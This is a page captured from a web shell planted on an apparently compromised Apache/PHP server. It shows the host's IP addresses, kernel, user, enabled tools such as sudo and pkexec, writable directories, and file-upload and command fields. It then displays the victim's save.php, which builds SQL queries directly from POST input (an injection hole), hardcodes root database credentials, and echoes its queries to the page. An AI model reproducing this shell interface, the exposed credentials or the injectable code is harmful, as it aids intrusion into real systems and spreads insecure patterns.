403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/scan_inS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/scan_inS/save.php
<?php
session_start();
//$date = date("Y-m-d");
    $s1='ชบ.';     
	$s2 = $_POST['Docid'];
	$docid=$s1."".$s2;

	
echo $_POST['user'].'<br>'; 
/*echo $docid.'<br>';
echo $submit2.'<br>';
echo $date.'<br>';*/
$ig='ทอสอบ';
	
    $serverName = "localhost"; //serverName\instanceName
	$connectionInfo = array( "Database"=>"APsystemBX65", "UID"=>"root", "PWD"=>"123456",
	"CharacterSet" => "UTF-8");
	$conn = sqlsrv_connect( $serverName, $connectionInfo);
	// echo 'oo'.$conn.'<br>';
	if( $conn ) {
	        
				//Update Serial no
							
			$sql="INSERT INTO dbo.FactCheckDoc(PRID,WHDocNote,UserName,WHDocDate)
						VALUES ('".$docid."','".$_POST['status']."','".$_POST['user']."','".$_POST['date']."')";
						echo $sql.'<br>';
						$result = sqlsrv_query($conn,$sql);
						echo 'oo'.$result.'<br>';
						
			$sql1 = "update dbo.FactProductIN set WHDocDate='".$_POST["date"]."',WHDocNote='".$_POST["status"]."'
						 where PRID='$docid'" ;
				echo $sql1.'<br>';		
				
				$result1 = sqlsrv_query($conn,$sql1);
				echo 'oo'.$result1.'<br>';
				/*if($result0 === false ){
					echo "<script language=\"JavaScript\">alert('ไม่สามารถแก้ไข');
					window.location='javascript:history.back()';</script>";	 
				}else{
			
				sqlsrv_free_stmt($result0);
					echo "<script language=\"JavaScript\">alert('บันทึกเพิ่มข้อมูลเรียบร้อย');
					window.location='check.php?&Docid=".$s2."';</script>";	
				}*/
	}

				
		
?>

Youez - 2016 - github.com/yon3zu
LinuXploit